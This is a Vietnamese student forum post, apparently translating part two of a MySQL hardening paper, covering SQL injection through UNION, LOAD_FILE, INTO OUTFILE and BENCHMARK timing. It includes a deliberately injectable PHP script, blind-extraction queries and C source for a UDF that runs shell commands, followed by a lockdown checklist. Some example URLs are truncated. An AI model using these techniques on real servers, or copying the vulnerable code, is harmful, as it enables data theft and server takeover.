»-(¯`v´¯)-»Diễn Đàn Trường Công Nghệ Thông Tin Thái Nguyên»-(¯`v´¯)-»

.:hix lâu không làm web.nên giờ lười làm quá.dùng tạm cái Forum việt vậy.chủ yếu là chất lượng Những bài viết thôi đúng không.thật THà là nói hết không giấu diếm nhưng học xong cấm nghịch bậy..http://guichonguoiay.net.tf web mình đó RỖI VÀO CHơi Ha.hjhj:.
 
Trang ChínhPortalCalendarGalleryTrợ giúpTìm kiếmThành viênNhómĐăng kýĐăng Nhập
Thông Tin Cực Sock Cho Những Ai Nghiện Game Audition Của Thái Nguyên.Sau Một Thời Gian Tìm Hiểu Mà Nhờ Mấy Anh Ở forum ClbGame Mình Đã Cài THành Công Bản Audition Offline THái Nguyên.Sắp Tới Mình Sẽ Đưa Lên Online.Các Bạn Muốn Chơi Game Và Muốn Sở Hữu Những Bộ Đồ Đẹp Nhất Không Còn Chần Chừ Gì Nữa Mà Không Click Chuột Để Truy Cập Trang Web wWw.AuTn.tk Để Download Và Thưởng thức

Share | 
 

 Hackproofing MySQL (phần 2)

Go down 
Tác giảThông điệp
Admin
Admin


Tổng số bài gửi : 136
Join date : 13/03/2010

Bài gửiTiêu đề: Hackproofing MySQL (phần 2)   Tue Mar 16, 2010 9:17 pm

Hackproofing MySQL (phần 2)

By PIP(VNNISS)

<?php
/* Connecting, selecting database */
$link = mysql_connect("my_host", "root")
or die("Could not connect : " . mysql_error());
print "Connected successfully";
mysql_select_db("mysql") or die("Could not select database");
/* Performing SQL query */
$query = "SELECT * FROM user where max_connections = " . $_REQUEST
['user'];
print "<h3>Query: " . $query . "</h3>";
$result = mysql_query($query) or die("Query failed : " .
mysql_error());
/* Printing results in HTML */
print "<table>\n";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
print "\t<tr>\n";
foreach ($line as $col_value) {
print "\t\t<td>$col_value</td>\n";
}
print "\t</tr>\n";
}
print "</table>\n";
/* Free resultset */
mysql_free_result($result);
/* Closing connection */
mysql_close($link);
?>


UNION SELECT :

Câu lệnh UNION được thi hành trong Mysql phiên bản 4.0. Từ khi nó là một trong nhưng thành phần chính của cuộc tấn công SQL injection, sư đưa vào đặc tính này thực sự đã làm việc tấn công Mysql server qua Sql injection dễ dàng hơn. Trong ví dụ trên, ta có 1 câu lệnh như sau:

$query = "SELECT * FROM user where max_connections = " . $_REQUEST
['user'];
max_connections là '0' với user root mặc định, vì thế nêu chúng ta đưa ra môt request:

http://mysql.example.com/query.php?user=0

...chúng ta có thể nhận được table "users"
Nếu bạn muốn nó trả lại những thông tin quan trọng khác- bạn có thể sử dụ UNION
Câu lệnh Union sẽ nhập 2 resultset. Từ khi câu lệnh UNION đi sau mệnh đề WHERE trong câu lệnh select, chúng ta có thể chọn bất cứ thông tin nào ta thích, nhưng bị các giới hạn sau đây

• Câu lệnh select phải trả về con số như ban đầu
• Loại dữ liệu phải khớp với nhau, hoặc có thể được chuyển hoán.
• Nếu dữ liệu của bạn bao gồm text, nó sẽ ảnh hưởng tới chiều dài của text field trong query đầu tiên.

Giả sử bạn muốn trả về string @@version. Câu lệnh sẽ như vày:

http://mysql.example.com/query.php?u...,1,1,1,1,1,1,1

Bạn có thể select fields tùy ý từ table khác nhau

Giả sử bạn select "name" và "dl" từ table 'func'

http://mysql.example.com/query.php?u...,1,1+from+func

Sử dụng UNION, kẻ tấn công có thể truy cập hiệu quả vào tất cả dữ liệu.

LOAD_FILE function :
Hàm LOAD_FILE trả về một string bao gồm nội dung của file., ghi rõ path của nó.
Ví du. trên window box, query select load_file('c:/boot.ini'); sẽ lấy lại nội dung file boot.ini
Hiển nhiên nếu target hostting đang chạy PHP và có magic_quotes bật ON. Chúng ta không cần dấu ngoặc đơn, chỉ để 'c:/boot.ini'. Thật may mắn, MySQL đồng ý hex-encoded strings như một thay thế cho string literals.
Ví dụ, hai câu lệnh sau là tương đương:

select 'c:/boot.ini'
select 0x633a2f626f6f742e696e69

Request

http://mysql.example.com/query.php?u...,1,1,1,1,1,1,1

...bạn sẽ lấy được một vài thông tin giống như vậy

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)pa 1 1 N N N N
N N N N N N N N N N N N N N N N N 1 1 1 1 1 1
Trong trường hợp này, với câu lệnh Union, và chỉ được giới hạn 60 character. Để biết được các character tiếp theo, ta dùng ham` 'substring'

http://mysql.example.com/query.php?u...,1,1,1,1,1,1,1

Câu request này sẽ trả về 60 character kế tiếp. Với cách này, bạn có thế request hết dữ liệu trong file boot.ini. LOAD_FILE hoạt đông trên binary files, và
SUBSTRING cho phép bạn bỏ qua nulls, như vậy, kẻ tấn công có thể dùng kĩ năng để đọc tùy ý binary files.

LOAD DATA INFILE statement :
Đây thật sự không hữu dụng cho kẻ tấn công như hàm 'LOAD_FILE' vì nhìn một cách tổng quát, hàm LOAD DATA INFILE có chút rắc rối. Trong hoàn cảnh MySQL cho phép atttack đề ra nhiều câu lệnh. Đây thực sự là một vấn đề quan trong.
Câu lệnh bạn muốn thực hiện:

create table foo( line blob );
load data infile 'c:/boot.ini' into table foo;
select * from foo;

Một tính chất nguy hiểm và khá thú vị của LOAD DATA có thể xảy ra là file có thể được lấy từ MySQL Cilent (attacker) (rather than the server). Trong trường hợp web dính SQL INjection, ta đọc được file trong web server cũng như trong database server. Vấn đề này ta sẽ tìm hiểu trang kế tiếp
MySQL versions above 3.23.49 and 4.0.2 (4.0.13 on windows). Both the client and the server phải cho phép hàm LOAD DATA INFILE available.
Như vậy, chắc chắn bạn disable tính chất này. Trong lúc nó thật sự nguy hiểm (có thể load dữ liệu từ client tới bất cứ table nào)

SELECT ... INTO OUTFILE :
Câu lệnh tới LOAD DATA INFILE là SELECT ... INTO OUTFILE.
Khi ta đứng trên lập trường của kẻ tấn công, cũng có nhiều điều bất lợi
Câu lệnh này hiển nhiên giúp kẻ tấn công chiếm lấy quyền điều khiển một MySQL
server – Bình thường tạo một file hệ thống không tồn trong thư mục nào đó, ví dụ thư mục home của users.
Hãy nhớ version của MySql hiện tại không thể chỉnh sửa file, bạn chỉ tạo được file mới
it can only create new ones.
Nếu bạn dự định tạo một binary file dùng SELECT ... INTO OUTFILE characters sẽ được 'escaped' với backslashes \ , Nulls sẽ thay thế cho'\0'. Bạn có thể tạo binary files với SELECT INTO. Một cú pháp modify không vững:
SELECT ... INTO DUMPFILE

Ngoài ra, có thể tạo một dynamically loadable library, bao gồm a malicious UDF (User Defined Function) trên target host, và rồi dùng 'CREATE FUNCTION' để load the library và thực hiện truy cập vào MYSQL. Trông cách này, attack có thể chạy arbitrary code trên MySQL server. Để lấy thêm thông tin, sử dụng 'User Defined Functions', below. Một điểm cần ghi lại ở đây, để attack được, kẻ tấn công phải viết một file được searched khi MySQL loads a dynamically loadable library. Attack được hay không phụ thuộc vào file permissions
SELECT ... INTO OUTFILE
Câu lệnh này có thể dùng để chỉnh sửa MySQL configuration files. Version 3.23.55 hoặc earlier, ta có thể tạo file mới, và overwrite lên file 'my.cnf' trong MySQL data directory mà nó configure MySQL để chạy khi nó boot như là restart. Version 3.23.56 đã fixed bug này.

Time delays and the BENCHMARK function:
Thỉnh thỏang, một web application không trả về bất cứ error message hữu ích nào. Nó đưa ra một vấn đề cho attack, thật khó để biết được Sql Injection tồn tại trong web application hay không.
Trong hoàn cảnh này, kẻ tấn công sẽ đưa ra database query để ngừng lại một chút, cứ cho là 10 giây.Nếu kẻ tấn công có hàm đơn giản hoặc query
fragment sẽ sinh ra the query để dừng nếu SQL Injection xảy ra, qua đó ta có thể quyết định script nào trong web application bị lỗi.

Để biết thêm thông tin
http://www.ngssoftware.com/papers/mo..._injection.pdf
Trong MySQL, không có hàm Wait hoặc Sleep, nhưng sự xác nhập giữa cryptographic primitives và hàm "benchmark" sẽ thực hiện theo cùng một lối.
Hàm benchmark sẽ ước tính biểu thức rõ ràng về số lần thời gian
Ví dụ


select benchmark( 500000, sha1( 'test' ) );
...sẽ tính SHA1 hash của string 'test' 500,000 times. Mất khỏang 5 giây tại máy 1.7 GHz.
Hàm benchmark được sử dụng như một biểu thức. Chúng ta có thể đưa nó vào web application và thấy khi nào application xuất hiện dấu hiệu ngừng.
Ví dụ
http://mysql.example.com/query.php?u...,1,1,1,1,1,1,1
...application sẽ dừng trong khỏang 15 giây trước khi đáp lại.
The attacker can use this technique to ask questions of the target system. ok ví dụ, nếu câu lệnh select kêu dừng tại user hiện tại là 'root'

mysql> select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );

Phân vùng "if" của câu lệnh này mà có thể được điền vào bất kỳ nơi nào của 1 column name sẽ được gắn vào câu lệnh, vì vậy sẽ thực sự dễ đàng để truy xuất hành động này thông qua SQL injection.
Bước tiếp theo là lấy lại đầy đủ dữ liệu (data) bằng cách sử dụng thời gian trì hoãn. Nó được lấy bằng cách lựa chọn những individual bits (những bit riêng biệt) trong số những chuỗi ký tự và tạm ngừng nếu chúng là "1", lấy ví dụ, câu lệnh sau đây sẽ tạm ngừng nếu high-order bit của 'user()' là "1":

select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

Do nhiều câu truy vấn có thể được thi hành đồng thời, nên đây có thể là con đường khá nhanh để extracting dữ liệu từ 1 cơ sở dữ liệu ở đúng vị trí.


User defined functions:

MySQL cung cấp 1 cơ chế bởi thiết lập mặc định của những hàm có thể được mở rộng, bởi định nghĩa của custom written dynamic libraries chứa hàm chức năng được định rõ, hoặc 'UDFs'. Cơ chế này được truy xuất bởi câu lệnh 'CREATE FUNCTION', dẫu cho những entry trong table 'mysql.func' có thể được đưa vào thủ công.
Thư viện có chứa hàm phải được sử dụng từ đường dẫn mà MySQL sẽ lấy bình thường khi nhập vào 1 dynamically loaded library.


1 kẻ tấn công sẽ lạm dụng cơ cấu này bằng cách tạo 1 thư viện 'malicious' và sau đó viết nó tới 1 thư mục thích hợp có sử dụng câu lệnh SELECT ... INTO OUTFILE. Khi thư mục được đặt vào, kẻ tấn công cần 'update' hoặc 'insert' truy xuất đến table mysql.func để cấu hình cho MySQL nhập vào thư viện và thi hành các function (hàm chức năng).

Mã nguồn cho 1 thư viện UDF làm ví dụ được chỉ ra dưới đây:

#include <stdio.h>
#include <stdlib.h>
/*
compile with something like
gcc -g -c so_system.c
then
gcc -g -shared -W1,-soname,so_system.so.0 -o so_system.so.0.0 so_system.o -lc
*/
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args
{
unsigned int arg_count; /* Number of arguments */
enum Item_result *arg_type; /* Pointer to item_results */
char **args; /* Pointer to argument */
unsigned long *lengths; /* Length of string arguments */
char *maybe_null; /* Set to 1 for all maybe_null args */
} UDF_ARGS;
typedef struct st_udf_init
{
char maybe_null; /* 1 if function can return NULL */
unsigned int decimals; /* for real functions */
unsigned long max_length; /* For string functions */
char *ptr; /* free pointer for function data */
char const_item; /* 0 if result is independent of arguments */
} UDF_INIT;
int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if( args->arg_count != 1 )
return 0;
system( args->args[0] );
return 0;
}

Hàm chức năng này có thể được thêm vào MySQL như sau:
mysql> create function do_system returns integer soname 'so_system.so';
Query OK, 0 rows affected (0.00 sec)
Table 'mysql.func' sau đó sẽ giống như sau (bạn cũng có thể tự cập nhật):
mysql> select * from mysql.func;

+-----------+-----+--------------+----------+
| name | ret | dl | type |
+-----------+-----+--------------+----------+
| do_system | 2 | so_system.so | function |
+-----------+-----+--------------+----------+
1 row in set (0.00 sec)
And then the function can be called like this:
mysql> select do_system('ls > /tmp/test.txt');
+---------------------------------+
| do_system('ls > /tmp/test.txt') |
+---------------------------------+
| -4665733612002344960 |
+---------------------------------+
1 row in set (0.02 sec)

Cho dù file đã cho phép mà kẻ tấn công ko thể tại 1 thư viện trong hệ thống đích, thì họ vẫn có thể sử dụng 1 hàm hiện thời cho 1 vài mục đích sai trái. Cái khó ở đây là kẻ tấn công có danh sách tham số của hầu hết những hàm ko chắc là hợp với MySQL UDF prototype (mẫu MySQL UDF ban đầu):
int xxx( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
...dù cho 1 kẻ tấn công có tài xoay sở có thể tự thi hành đoạn mã bằng cách gọi đến thư viện hệ thống hiện thời một vài lỗi dễ điều khiển khi phiên dịch tham số hợp với MySQL

Tuy nhiên, vẫn có thể làm những điều "tội lỗi" với những hàm trong những thư mục hệ thống hiện thời. Lấy ví dụ, gọi ExitProcess trong Windows như 1 MySQL UDF. Nó sẽ định nghĩa cho MySQL thoát ra ngay lập tức - dù là việc gọi user có thể ko có 'Shutdown_priv':
mysql> create function ExitProcess returns integer soname 'kernel32';
Query OK, 0 rows affected (0.17 sec)
mysql> select exitprocess();
ERROR 2013: Lost connection to MySQL server during query

Bạn cũng có thể khóa currently-logged trong user's workstation (giống như ấn tổ hợp phím CTRL+ALT+DEL và sau đó 'lock computer'):
mysql> create function LockWorkStation returns integer soname 'user32';
Query OK, 0 rows affected (0.00 sec)
mysql> select LockWorkStation();
(workstation sau đó sẽ lock).
Kết thúc tất cả những cơ cấu UDF trong MySQL là 1 tính năng cực kỳ hữu dụng và dễ điều khiển cho những developer, và theo cách đó là 1 tính năng cũng hữu dụng cho kẻ tấn công. Cẩn thận khi locking down những đặc quyền của MySQL (đặc biệt là cơ sở dữ liệu MySQL và table mysql.func), file cho phép (file permission) và hạn chế sử dụng 'SELECT ... INTO
OUTFILE' là vũ khí phòng thủ tốt nhất chống lại cách tấn công này.

Local Attack:
Nếu 1 máy chủ MySQL đang chạy 1 bộ máy đa người sử dụng, việc bảo mật nó chống lại local attacks đòi hỏi phải thật "tinh tế". Đầu tiên, có 1 trục trặc tiền sử với weak permissions và temporary files. Sau đó là sự khó khăn trong bảo mật the MySQL binary và data directories - là khá dễ để đọc những files mà MySQL sử dụng để lưu trữ table data, cái có thể dẫn đến tổn thương server dựa trên hiểu biết về 'root' account's password hash.

Lối đi tốt nhất là cố gắng chắc chắn rằng MySQL đang chạy trên chính nó (under its own), dedicated user account, và rằng ko còn ai truy xuất đến dữ liệu, cấu hình hay binary files của MySQL.

Other MySQL features to be wary of:
WinMySQLAdmin sẽ tạo 1 'default' user account cho MySQL khi bạn lần đầu sử chạy nó, và sẽ đặt plaintext username and password trong plaintext trong %SYSTEMROOT%\my.ini.

MyPHP là 1 UDF mà phiên dịch đối số của nó ra mã PHP, và thi hành nó. Điều này có nghĩa rằng bất kỳ ai có thể thi hành hàm 'php' thì có thể chạy đoạn mã bất kỳ trên MySQL server. Cái này thực sự là 1 tính năng rất mạng, nhưng cần phải được xem xét kỹ lưỡng.
MyLUA gia hạn thông qua 1 cơ chế đơn giản, và cũng rất nguy hiểm.

MySQL Lockdown Checklist:
Sau đây là 1 danh sách tham khảo của things to do (???) khi bạn siết chặt vấn đề bảo mật của máy chủ MySQL của bạn. Những danh sách tuyệt vời khác có thể được tìm thấy ở
http://www.securityfocus.com/infocus/1726
http://www.securityfocus.com/infocus/1667
http://www.kitebird.com/articles/ins-sec.html

Đọc nguyên tắc về bảo mật MySQL tại http://dev.mysql.com/doc/mysql/en/Security.html

-Triển khai những IPTables khác (Linux) hoặc 1 IPSec filtering ruleset (Windows) trên những máy chủ MySQL của bạn.
-Truy cập http://www.mysql.com/products/mysql/ và cập nhật thường xuyên.
-Xóa tất cả non-root MySQL users.
-Rename 'root' MySQL user bằng 1 cái gì đó khó hiểu.
-Tạo 1 MySQL user cho mỗi ứng dụng web - hoặc có thể cho mỗi 'role' trong mỗi ứng dụng web. Lấy ví dụ, bạn có thể có 1 MySQL user mà bạn sử dụng để cập nhật tables, và 1 cái khác, lower-privileged user (user có đặc quyền thấp hơn) mà bạn sử dụng để 'select' từ tables.
-Chắc chắn rằng những MySQL users được giới hạn bởi những IP address tốt nhất là bằng mật khẩu. Xem mục 5.4 của the MySQL manual, “The MySQL Access Privilege System” ("MySQL truy xuất hệ thống đặc quyền") để có thêm thông tin.
-Sử dụng 1 tài khoản 'mysql' có đặc quyền thấp hơn để chạy MySQL daemon. Đây là mặc định trên 1 vài nền tảng, nhưng ko phải là những thứ khác (but not others). Láy ví dụ, MySQL chạy như 1 local 'system' account trong Windows.
-Chạy mysqld cùng với tùy chọn '--chroot'. Chắc chắn rằng MySQL user không thể truy xuất những file bên ngoài thiết lập có giới hạn của những directory (thư mục). Đặc biệt, MySQL user nên bị ngăn chặn đọc những files cấu hình hệ điều hành. Trong 1 vài trường hợp bạn sẽ muốn ngăn cản MySQL user chỉnh sửa những files cấu hình MySQL.
-Ko cho những tài khoản đặc quyền mà ko hoàn toàn cần thiết, đặc biệt là 'File_priv' và 'Grant_priv'. Nếu bạn phải tác động đến file hệ thống từ phạm vi MySQL, suy nghĩ kỹ khi tạo 1 seperate MySQL account mà ứng dụng của bạn có thể sử dụng cho mục đích của nó.
-Tắt lệnh LOAD DATA LOCAL INFILE bằng cách thêm “set-variable=local-infile=0” đến file my.cnf.
-Hiểu rõ những lỗi mà bạn có! Kiểm tra những lỗ hổng của cơ sở dữ liệu ví dụ như SecurityFocus và ICAT đều đặn cho những lỗi MySQL.

FINISH
Về Đầu Trang Go down
Xem lý lịch thành viên http://itcu.forumvi.com
 
Hackproofing MySQL (phần 2)
Về Đầu Trang 
Trang 1 trong tổng số 1 trang

Permissions in this forum:Bạn không có quyền trả lời bài viết
»-(¯`v´¯)-»Diễn Đàn Trường Công Nghệ Thông Tin Thái Nguyên»-(¯`v´¯)-» :: Phận Làm Trai Gõ Phím Bình Thiên Hạ--Chí Anh Hùng Click Chuột Định Giang Sơn :: Những điều cơ bản để hack một trang web-
Chuyển đến